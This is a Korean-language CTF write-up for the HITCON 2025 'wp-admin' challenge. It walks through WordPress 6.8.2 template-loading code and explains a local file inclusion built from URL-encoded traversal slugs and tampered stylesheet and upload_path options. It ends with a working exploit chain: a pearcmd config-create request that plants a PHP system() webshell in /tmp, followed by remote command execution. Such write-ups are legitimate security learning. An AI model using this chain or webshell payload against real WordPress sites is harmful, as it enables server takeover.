web/CTF

[HITCON CTF 2025] wp-admin

Tyojong 2025. 9. 16. 12:13

제공된 파일은 관리자 권한 계정과 6.8.2버전(대회 당일 기준 최신 버전)이 자동 설치되는 파일만 제공되었다.

rce를 이용해 readflag파일을 실행시키면 플래그를 획득할 수 있다.

 

rce를 위해 php테마 파일 수정, 악성 플러그인 업로드 등을 시도했지만 모두 불가능 하였다...

 

제공된 도커파일을 확인해보면 pearcmd파일이 남아있는 것을 알 수 있다.

이 pearcmd를 실행시켜 rce를 가능하게 하려면 lfi 취약점을 찾아야한다.

 

if ( wp_using_themes() ) {

	$tag_templates = array(
		'is_embed'             => 'get_embed_template',
		'is_404'               => 'get_404_template',
		'is_search'            => 'get_search_template',
		'is_front_page'        => 'get_front_page_template',
		'is_home'              => 'get_home_template',
		'is_privacy_policy'    => 'get_privacy_policy_template',
		'is_post_type_archive' => 'get_post_type_archive_template',
		'is_tax'               => 'get_taxonomy_template',
		'is_attachment'        => 'get_attachment_template',
		'is_single'            => 'get_single_template',
		'is_page'              => 'get_page_template',
		'is_singular'          => 'get_singular_template',
		'is_category'          => 'get_category_template',
		'is_tag'               => 'get_tag_template',
		'is_author'            => 'get_author_template',
		'is_date'              => 'get_date_template',
		'is_archive'           => 'get_archive_template',
	);
	$template      = false;

	// Loop through each of the template conditionals, and find the appropriate template file.
	foreach ( $tag_templates as $tag => $template_getter ) {
		if ( call_user_func( $tag ) ) {
			$template = call_user_func( $template_getter );
		}

		if ( $template ) {
			if ( 'is_attachment' === $tag ) {
				remove_filter( 'the_content', 'prepend_attachment' );
			}

			break;
		}
	}

	if ( ! $template ) {
		$template = get_index_template();
	}

	/**
	 * Filters the path of the current template before including it.
	 *
	 * @since 3.0.0
	 *
	 * @param string $template The path of the template to include.
	 */
	$template = apply_filters( 'template_include', $template );
	if ( $template ) {
		include $template;
	} elseif ( current_user_can( 'switch_themes' ) ) {
		$theme = wp_get_theme();
		if ( $theme->errors() ) {
			wp_die( $theme->errors() );
		}
	}
	return;
}

wordpress에서 wp-includes/template-loader.php 파일을 확인해보면 게시물의 종류를 확인하고, 해당 함수를 호출해 템플릿 파일의 경로를 가져오게 된다. 반환되는 템플릿 경로를 조작해 LFI가 가능하다.

 

function get_single_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) ) {
		$template = get_page_template_slug( $object );
		if ( $template && 0 === validate_file( $template ) ) {
			$templates[] = $template;
		}

		$name_decoded = urldecode( $object->post_name );
		if ( $name_decoded !== $object->post_name ) {
			$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
		}

		$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
		$templates[] = "single-{$object->post_type}.php";
	}

	$templates[] = 'single.php';

	return get_query_template( 'single', $templates );
}

wp-includes/template.php 파일의 get_single_template() 함수를 확인해보면 slug를 post_name으로 받아 처리를 하기 때문에 조작이 가능하다.

하지만 ../ 를 시도할 경우 필터링이 되지만 get_single_template함수 안에 urldecode함수가 사용되고 있기 때문에 url encoding으로 우회가 가능하다.

single-post-{slug}.php 경로가 만들어지게 되는데 이 경로는 $template 배열에 들어가게 된다.

 

function get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	if ( empty( $templates ) ) {
		$templates = array( "{$type}.php" );
	}

	/**
	 * Filters the list of template filenames that are searched for when retrieving a template to use.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * The last element in the array should always be the fallback template for this query type.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template_hierarchy`
	 *  - `archive_template_hierarchy`
	 *  - `attachment_template_hierarchy`
	 *  - `author_template_hierarchy`
	 *  - `category_template_hierarchy`
	 *  - `date_template_hierarchy`
	 *  - `embed_template_hierarchy`
	 *  - `frontpage_template_hierarchy`
	 *  - `home_template_hierarchy`
	 *  - `index_template_hierarchy`
	 *  - `page_template_hierarchy`
	 *  - `paged_template_hierarchy`
	 *  - `privacypolicy_template_hierarchy`
	 *  - `search_template_hierarchy`
	 *  - `single_template_hierarchy`
	 *  - `singular_template_hierarchy`
	 *  - `tag_template_hierarchy`
	 *  - `taxonomy_template_hierarchy`
	 *
	 * @since 4.7.0
	 *
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	$templates = apply_filters( "{$type}_template_hierarchy", $templates );

	$template = locate_template( $templates );

	$template = locate_block_template( $template, $type, $templates );

	/**
	 * Filters the path of the queried template by type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * This hook also applies to various types of files loaded as part of the Template Hierarchy.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template`
	 *  - `archive_template`
	 *  - `attachment_template`
	 *  - `author_template`
	 *  - `category_template`
	 *  - `date_template`
	 *  - `embed_template`
	 *  - `frontpage_template`
	 *  - `home_template`
	 *  - `index_template`
	 *  - `page_template`
	 *  - `paged_template`
	 *  - `privacypolicy_template`
	 *  - `search_template`
	 *  - `single_template`
	 *  - `singular_template`
	 *  - `tag_template`
	 *  - `taxonomy_template`
	 *
	 * @since 1.5.0
	 * @since 4.8.0 The `$type` and `$templates` parameters were added.
	 *
	 * @param string   $template  Path to the template. See locate_template().
	 * @param string   $type      Sanitized filename without extension.
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	return apply_filters( "{$type}_template", $template, $type, $templates );
}

이 배열은 wp-includes/template.php 코드를 지나

 

function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
	global $wp_stylesheet_path, $wp_template_path;

	if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
		wp_set_template_globals();
	}

	$is_child_theme = is_child_theme();

	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( ! $template_name ) {
			continue;
		}
		if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
			$located = $wp_stylesheet_path . '/' . $template_name;
			break;
		} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
			$located = $wp_template_path . '/' . $template_name;
			break;
		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
			break;
		}
	}

	if ( $load && '' !== $located ) {
		load_template( $located, $load_once, $args );
	}

	return $located;
}

템플릿의 전체 경로를 찾기 위해 wp-includes/template.php 파일의 locate_template함수에 들어가게 된다.

 

이 함수는 아래 3곳에서 템플릿 파일이 존재하는지 검사한다

1. $wp_stylesheet_path : 활성 테마의 경로

2. $wp_template_path : 자식 테마가 사용되는 경우 부모 테마의 경로

3. ABSPATH . WPINC . '/theme-compat/' : WordPress 코어 파일의 대체 디렉토리

 

1. $wp_stylesheet_path의 경우 wp-admin/options.php에서 수정이 가능하다.
때문의 최종 템플릿 경로는 {theme_path}/single-post-{slug}.php가 만들어지고 theme_path는 stylesheet 옵션값, slug는 게시글 슬러그가 된다. stylesheet 값을 ../../../../../../tmp로 설정하고 슬러그를 /../../exploit.php 으로 설정하면 ../../../../../../tmp/single-post-/../../exploit.php 가 되는 것이다.

 

즉, /tmp/single-post- 폴더가 있으면 파일 시스템 내 임의 위치의 php파일을 include하여 lfi가 가능하게 된다.

그러면 /tmp/single-post- 폴더를 만들어야 하는데 upload_path 옵션을 변경하고 첨부파일을 업로드 하면 된다.

첨부파일은 {upload_path}/year/month/에 저장되고 폴더가 없으면 워드프레스에서 새로 생성한다. upload_path를 /tmp/single-post-로 지정하면 첨부파일 업로드 시 폴더가 생성된다.

 

익스플로잇

게시글을 2개 생성한다.

 

첫 번째 게시물의 슬러그를 %2f%2e%2e %2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd로 설정하고

 

두 번째 게시물의 슬러그를 %2f%2e%2e%2f%2e%2e%2ftmp%2fexploit로 바꾼다.

 

wp-admin/options.php 에 접속하여 stylesheet 부분에 ../../../../../../../../tmp/ 를 입력한다.

 

upload_path에는 /tmp/single-post- 를 입력하고 저장한다.

 

/tmp/single-post- 디렉토리를 생성하기 위해 게시글이 파일을 업로드 하고 저장한다.

 

파일 업로드 후 도커컨테이너 내부를 확인해보면 /tmp/single-post- 디렉토리가 생성된 것을 확인할 수 있다.

 

%2f%2e%2e %2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd 를 슬러그로 설정한 게시글의 번호를 이용해 pearcmd webshell을 생성하는 구문을 작성한다.

/?p=8&+config-create+/&/<?system($_GET[0]);?>+/tmp/exploit.php

 

%2f%2e%2e%2f%2e%2e%2ftmp%2fexploit 를 슬러그로 작성한 게시글 번호를 통해 RCE가 가능하다.

시스템 명령을 실행시킬 수 있기 때문에 /readflag를 통해 플래그를 획득할 수 있다.